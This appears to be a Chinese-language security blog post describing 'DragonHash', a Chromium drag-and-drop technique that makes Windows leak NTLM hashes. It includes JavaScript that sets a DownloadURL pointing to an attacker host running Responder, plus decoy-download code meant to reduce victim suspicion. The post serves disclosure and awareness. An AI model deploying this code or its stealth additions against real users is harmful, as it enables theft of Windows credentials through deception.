从Chrome拖拽泄露NTLM哈希:通过文件URL实现凭据窃取

本文详细分析了Chromium内核浏览器存在的安全漏洞:攻击者可通过特殊构造的文件URL诱导用户执行拖拽操作,从而触发Windows系统自动发送NTLM哈希值。这种新型攻击方式无需文件实际下载即可实现凭据窃取,对企业网络安全构成严重威胁。

从Chrome拖拽泄露NTLM哈希:通过文件URL实现凭据窃取

捕获哈希的DragonHash技术

Chromium内核浏览器具有特殊的拖放功能集,不仅可用于点击劫持攻击中的"输入模拟"(如本博客所示),还能让Web应用像真正的文件处理器一样工作。例如,用户可以将文件从Web应用拖拽到桌面。

社会工程师可能利用此功能诱骗用户将文件复制到计算机上。Web应用可以提示用户将图像拖到桌面,当用户释放图像时,实际上可以将任意文件写入目标位置——甚至是二进制文件。

利用文件URL进行哈希捕获

关键问题在于:如果使用文件URL会发生什么?当这些操作在Windows系统上执行时,系统会执行其常规行为——通常是发送哈希值等敏感信息。

通过以下JavaScript代码可以实现攻击:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// 创建一个可拖拽图像元素
const img = document.createElement('img');
img.src = 'https://malicious-server/image.jpg';
img.draggable = true;

// 设置DownloadURL指向Responder服务器
img.addEventListener('dragstart', (e) => {
    e.dataTransfer.setData('DownloadURL', 
        'application/octet-stream:malicious.exe:https://attacker-ip/test');
});

当用户被诱骗将此图像从Web应用拖到Windows桌面时,首次尝试可能失败,但用户通常会重复尝试。此时Chrome会允许Windows执行其默认行为,从而触发NTLM哈希捕获。

增强攻击隐蔽性

为了降低用户怀疑,可以添加额外JavaScript代码下载实际文件:

1
2
3
4
5
// 同时下载一个真实文件作为掩护
const a = document.createElement('a');
a.href = 'https://malicious-server/decoy.jpg';
a.download = 'innocent_image.jpg';
a.click();

需要注意的是:

  • 此技术需要浏览器启用"自动下载到文件夹"功能
  • 文件下载会保存到配置的下载文件夹,而非用户拖放的目标位置
  • 如果认为不传输文件更不易引起怀疑,可以跳过文件下载步骤,仍能获取NTLM哈希

自行测试

您可以使用在线工具自行测试(需运行Responder服务器): https://www.dragonhash.fun

演示代码仓库: https://github.com/hoodoer/DragonHash

本文揭示了浏览器功能与操作系统交互时产生的安全边界问题,提醒安全团队需要重新评估客户端交互带来的凭据泄露风险。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计